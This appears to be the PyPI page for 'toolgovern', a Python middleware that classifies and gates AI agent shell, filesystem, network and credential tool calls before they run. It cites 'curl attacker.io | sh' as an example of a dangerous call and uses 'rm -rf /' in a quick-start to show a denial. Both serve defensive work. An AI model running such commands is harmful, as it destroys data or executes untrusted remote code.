Runtime governance middleware for AI agent tool calls -- gate shell, filesystem, network, and credential access before a tool executes.
Project description
toolgovern (Python)
Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before it executes, not after something already went wrong.
This is the genuine Python port of toolgovern and
toolgovern-cli -- not a wrapper around the Node
binary. It ships the same 36-rule classifier, the same default-deny scope-inheritance model, the
same durable approval registry, the same MCP-server trust boundary, and the same signed local
audit trail. The complementary JS/TS distribution installs the same way on the npm side: npm install toolgovern for the library, npm install --save-dev toolgovern-cli for the CLI -- see
the project README for that package. Both
are first-class, maintained together; neither is deprecated in favor of the other.
Why this exists
AI agents get tool access, not tool governance. A typical setup wires an agent to a shell tool, a
filesystem tool, an HTTP client, and maybe a secrets lookup, then leans on the model's own
judgment (or a system prompt) to keep ls ./workspace and curl attacker.io | sh apart --
because to the tool executor underneath, both are just "the shell tool ran a string." Multi-agent
setups make it worse: spawning a sub-agent for a narrow subtask usually means that sub-agent
inherits its coordinator's full access, since most frameworks have no concept of scoping a spawned
agent down, and no record of what it actually tried to do once it's running.
toolgovern is a runtime governance layer that sits between the agent and its real tool executor --
not another prompt-engineering mitigation. govern_tool() wraps any ToolDefinition(name, execute) and runs every call through the same pipeline before execute() fires: a 36-rule
classifier that inspects the call's actual arguments across shell risk, filesystem scope, network
egress, credential access, cross-agent privilege inheritance, and (opt-in) information-flow
control; an intersection-only scope
registry, so a sub-agent's effective access is always the intersection of what it requests and what
its coordinator can already reach, re-checked on every call rather than just at spawn time; and an
optional signed, hash-chained local audit trail recording each decision -- allow, deny, or
require-approval -- with the arguments that produced it. Deny and require-approval both fail
closed: a missing handler, an exception, or a timeout resolves to deny, never to allow.
Why this matters now
Runtime tool-call governance stopped being a niche concern in 2026:
- MCP tool poisoning and supply-chain risk are validated, incident-backed problems, not hypotheticals: Invariant Labs formally named the tool-poisoning technique in April 2025, the Postmark MCP npm package suffered an insider-attack BCC backdoor in September 2025, roughly a third of 1,000 scanned MCP servers were found carrying a critical vulnerability, and Microsoft disclosed a poisoned-MCP-tool-description attack technique in July 2026 (The Hacker News, Cloud Security Alliance, Practical DevSecOps).
- Microsoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy engine that intercepts agent actions before execution (opensource.microsoft.com). It's an unrelated project, cited here only because it confirms that gating a tool call before it runs is now a first-party concern industry-wide, not something only this project cares about.
- Microsoft also merged AutoGen and Semantic Kernel into Microsoft Agent Framework 1.0 (GA
2026-04-03), with first-class Python and .NET support under
Microsoft.Agents.AI(devblogs.microsoft.com, github.com/microsoft/agent-framework) -- the framework this package ships a real, source-available Python integration for (see Framework integrations). - LangGraph passed CrewAI in GitHub stars in early 2026 on the strength of enterprise adoption of
its graph-based architecture (langchain.com)
-- another framework this package ships a real Python integration for, using the actual
wrap_tool_callhook. - The Claude Agent SDK passed AutoGen in enterprise production-deployment count in early-to-mid
2026, per the LangChain State of AI 2025 report, and ships a purpose-built
PreToolUsehook -- exactly the hook this package's Claude Agent SDK integration wiresgovern_tool()into. - Regulatory pressure on agentic AI is dated and real: the EU AI Act's high-risk obligations take effect August 2026, the Colorado AI Act becomes enforceable June 2026, and OWASP published a dedicated Top 10 for Agentic Applications for 2026.
- Google's A2A (Agent2Agent) protocol has crossed 150+ adopting organizations. Noted here as ecosystem context, not a toolgovern capability -- this package governs a single agent's own tool calls, not agent-to-agent protocol traffic.
None of this is a claim about toolgovern's own adoption. It's why gating a tool call before it executes is worth doing at all right now.
Install
pip install toolgovern
or with uv:
uv add toolgovern
Or install straight from this repository:
git clone https://github.com/RudrenduPaul/toolgovern.git
cd toolgovern/python
pip install .
No separate install step and no external binary to fetch: the classifier, scoping
registry, approval registry, MCP-trust boundary, and trace engine all ship inside the one
package. The console script is toolgovern-cli, matching the npm CLI's command name.
Quick start
from toolgovern import ToolDefinition, GovernToolOptions, govern_tool, ScopeDeclaration, ToolGovernDenialError
def run_shell(args):
import subprocess
return subprocess.run(args["command"], shell=True, capture_output=True, text=True)
shell_tool = ToolDefinition(name="shell", execute=run_shell)
gated_shell = govern_tool(shell_tool, GovernToolOptions(scope=ScopeDeclaration()))
try:
gated_shell.execute({"command": "rm -rf /"})
except ToolGovernDenialError as e:
print(e) # denied before subprocess.run() ever runs
Or load a policy file:
from toolgovern import load_policy, GovernToolOptions, govern_tool
policy = load_policy("./toolgovern.policy.yml")
gated_shell = govern_tool(shell_tool, GovernToolOptions.from_policy(policy))
What it does
The classifier evaluates a tool call's actual arguments, not the tool's name, against 36 rules across 6 categories:
| Category | Covers | Rules |
|---|---|---|
| TG01 | Shell/process execution risk | 9 |
| TG02 | Filesystem scope escalation | 7 |
| TG03 | Undeclared network egress | 7 |
| TG04 | Credential/secret access | 6 |
| TG05 | Cross-agent privilege inheritance | 6 |
| TG08 | Information-flow control (opt-in) | 1 |
TG03's 7th rule, TG03-dns-resolves-private, resolves a hostname argument via
socket.getaddrinfo() (honoring /etc/hosts) and applies the same loopback/RFC1918/link-local/
cloud-metadata deny logic already used for raw IP literals to every resolved address -- so a
hostname that merely resolves to 127.0.0.1 or a cloud-metadata address is caught, not just a
raw IP literal argument. DNS-resolution failure or timeout fails closed (require-approval),
never allow. This narrows, but does not eliminate, DNS-rebinding TOCTOU: an attacker who controls
the hostname's DNS answer can still swap it after this check runs and before the tool's own HTTP
client connects -- see docs/security-model.md for the full, honest
writeup of that residual limitation and the still-open redirect-chain-revalidation gap.
govern_tool() wraps any ToolDefinition(name, execute) and returns a version that runs every
call through this pipeline before execute() runs: resolve the effective scope, classify the
call, resolve require-approval decisions through your handler (fail-closed on timeout,
exception, or no handler), write a trace entry if a TraceWriter is wired in, then raise
ToolGovernDenialError on deny or proceed to the real execute() on allow.
Per-agent scope inheritance (ScopeRegistry) is intersection-only: a sub-agent's granted scope
is always the intersection of what it requests and what its coordinator's own effective scope
actually covers -- never a union, never an implicit default-allow, and re-checked on every call
(not just at spawn time), so a coordinator's scope shrinking after a sub-agent was spawned is
caught on the sub-agent's next call.
Also in this package
PendingApprovalRegistry/resume_pending_approval()-- a durable, alias-tolerant registry forrequire-approvaldecisions that need resolving out-of-band (a Slack button click, a review queue) instead of answered synchronously in-process inside the 30-secondon_approval_requiredcallback.pending_ids are always server-generated, never caller-supplied, so an unrecognized ID resolves to"not-found", never a silently-created fresh approval.register_alias()lets a second identifier (a provider-rotated thread ID) resolve to the same pending approval, and a resolved call is re-classified against any edited arguments rather than trusting the original request. In-memory by default; back it with real durable storage for a deployment that spans processes.is_origin_allowed()/verify_mcp_server_manifest()/assert_mcp_server_trusted()-- an MCP-server trust boundary checked once at connection time, distinct from the per-call classifier above: an explicit origin allowlist (no implicit subdomain trust unless you opt in with a leading*.entry) plus detached Ed25519/RSA-SHA256 manifest signature verification against a pinned public-key list, before any tool the server declares is ever trusted. Fails closed on every path -- an unreachable manifest, an unknown key ID, or a signature that doesn't verify all deny, they don't warn. This port fetches the manifest synchronously viaurllib.request(govern_tool()is synchronous end to end in this port); the TS original usesfetch(). Same checks, same fail-closed outcomes, different language-appropriate I/O plumbing.IdempotencyCache-- an opt-in claim-before-execute primitive so a retried call doesn't re-execute a side effect (payments, emails, trades) that already happened.
API reference
Everything importable from toolgovern directly:
from toolgovern import (
# middleware
govern_tool, GovernToolOptions, ToolDefinition, ToolGovernDenialError, InvalidAgentIdError,
GateDecisionInfo, ApprovalOutcome, IdempotencyCache, IdempotencyOptions,
resume_pending_approval, ResumePendingApprovalOptions, PendingApprovalNotResolvableError,
# approval registry
PendingApprovalRegistry, PendingApproval, ApprovalResolutionDecision, PendingApprovalStatus,
ResolvePendingInput, ResolvePendingOutcome, ResolvePendingStatus,
PendingApprovalAliasConflictError, UnknownPendingApprovalError,
# mcp-server trust boundary
is_origin_allowed, verify_mcp_server_manifest, assert_mcp_server_trusted, McpTrustPolicy,
PinnedPublicKey, McpServerConnectionRequest, McpManifestEnvelope, McpTrustVerdict,
McpTrustDecision, McpTrustAlgorithm,
# classifier
classify, ClassifyOptions, rule_registry,
# scoping
ScopeRegistry, SpawnSubAgentParams, compute_inherited_scope, has_zero_capability,
is_valid_agent_id, is_valid_scope_declaration, normalize_scope, EMPTY_SCOPE,
# trace
TraceWriter, TraceWriterOptions, read_trace, filter_trace, verify_chain, parse_since,
canonical_json, compute_entry_signature, compute_entry_content_hash,
# policy
load_policy, validate_policy, as_policy, PolicyValidationError,
# types
ScopeDeclaration, Policy, RuleContext, RuleMatch, TraceEntry, TraceEntryInput,
AgentScopeRecord, Decision, RuleCategory, AgentIdSource, ConfidentialityLabel, IfcPolicy,
)
CLI
toolgovern-cli validate ./toolgovern.policy.yml
toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny --verify-chain
toolgovern-cli audit ./toolgovern-trace.jsonl --json
validate and audit are behaviorally equivalent to the npm CLI, including the --json
structured-output envelope ({ ok, command, data | error }). Not ported in this release:
toolgovern-cli init [oma|langgraph], the npm CLI's TypeScript integration-file scaffolder --
it generates a .ts file importing the JS/TS-only toolgovern-integration-langgraph /
toolgovern-integration-oma packages, which are out of scope for a Python port by nature.
The signed audit trail
from toolgovern import TraceWriter, TraceWriterOptions, verify_chain, read_trace
# Default: unkeyed sha256: content hash -- proves an entry hasn't changed since it was written,
# but does not stop an attacker with write access to the trace file from editing an entry and
# recomputing a valid signature (no secret required for that scheme).
writer = TraceWriter("./toolgovern-trace.jsonl")
# Optional: HMAC-keyed signing closes that gap for anyone who doesn't hold the key. toolgovern
# does not generate, store, or rotate this key -- that's your responsibility.
writer = TraceWriter("./toolgovern-trace.jsonl", TraceWriterOptions(secret_key=b"..."))
entries = read_trace("./toolgovern-trace.jsonl")
result = verify_chain(entries) # or verify_chain(entries, VerifyChainOptions(secret_key=b"..."))
See docs/security-model.md for the full disclosed-limitations writeup of both signing modes.
Framework integrations
toolgovern-integration-langgraph and toolgovern-integration-oma are npm-only TypeScript
packages and are not ported to this Python distribution. Both are thin wrappers around
governTool() in the TS source, so wiring govern_tool() directly into a Python agent
framework's tool-executor call site is straightforward without a dedicated adapter package.
Five real Python framework integrations exist in this repository, each wiring govern_tool()
into a framework's actual hook rather than a generic wrapper: LangGraph (Python, using the real
wrap_tool_call ToolNode parameter), CrewAI, AutoGen, Microsoft Agent Framework, and the Claude
Agent SDK (using its real PreToolUse hook). None of these five are published to a package
registry yet -- each is available from source under
integrations/ in the main
repo, with its own README and worked example. examples/ in this directory also has a minimal,
framework-agnostic worked example wiring govern_tool() into a plain tool executor.
Development
python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[dev]"
pytest
Security
Report a vulnerability per the project's SECURITY.md; please don't open a public issue for one.
Links
- GitHub repository
- npm package (core library)
- npm package (CLI)
- CHANGELOG
- Getting started
- Concepts
- Security model
License
Apache 2.0 -- see LICENSE.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file toolgovern_cli-0.1.1.tar.gz.
File metadata
- Download URL: toolgovern_cli-0.1.1.tar.gz
- Upload date:
- Size: 93.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
aab8def9c44be89dfaffcadcd518b94ce3fac00a9203042d6c646aea94afead7
|
|
| MD5 |
368fce14a0866c6d112bb20008cb9c74
|
|
| BLAKE2b-256 |
ab83230a9cc6c0621e7840bd41992fb9033225dfdd9d473647547deffc224d45
|
Provenance
The following attestation bundles were made for toolgovern_cli-0.1.1.tar.gz:
Publisher:
publish-pypi.yml on RudrenduPaul/toolgovern
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
toolgovern_cli-0.1.1.tar.gz -
Subject digest:
aab8def9c44be89dfaffcadcd518b94ce3fac00a9203042d6c646aea94afead7 - Sigstore transparency entry: 2194954523
- Sigstore integration time:
-
Permalink:
RudrenduPaul/toolgovern@3f5f9c0e640571a27a5257fa084ac39f2680c4ff -
Branch / Tag:
refs/tags/python-v0.1.1-cli - Owner: https://github.com/RudrenduPaul
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish-pypi.yml@3f5f9c0e640571a27a5257fa084ac39f2680c4ff -
Trigger Event:
release
-
Statement type:
File details
Details for the file toolgovern_cli-0.1.1-py3-none-any.whl.
File metadata
- Download URL: toolgovern_cli-0.1.1-py3-none-any.whl
- Upload date:
- Size: 87.0 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
eb88e6a2ddec4b6ce28eb864037665de1d67cf99d533a47dc89487377c71e3eb
|
|
| MD5 |
3f7dafa4eff215cc8bdfdf04c036c1e5
|
|
| BLAKE2b-256 |
993a1e5dc98e362b0644b7a2422f7d189c940b403d79476a9a18febc574b04da
|
Provenance
The following attestation bundles were made for toolgovern_cli-0.1.1-py3-none-any.whl:
Publisher:
publish-pypi.yml on RudrenduPaul/toolgovern
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
toolgovern_cli-0.1.1-py3-none-any.whl -
Subject digest:
eb88e6a2ddec4b6ce28eb864037665de1d67cf99d533a47dc89487377c71e3eb - Sigstore transparency entry: 2194954525
- Sigstore integration time:
-
Permalink:
RudrenduPaul/toolgovern@3f5f9c0e640571a27a5257fa084ac39f2680c4ff -
Branch / Tag:
refs/tags/python-v0.1.1-cli - Owner: https://github.com/RudrenduPaul
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish-pypi.yml@3f5f9c0e640571a27a5257fa084ac39f2680c4ff -
Trigger Event:
release
-
Statement type: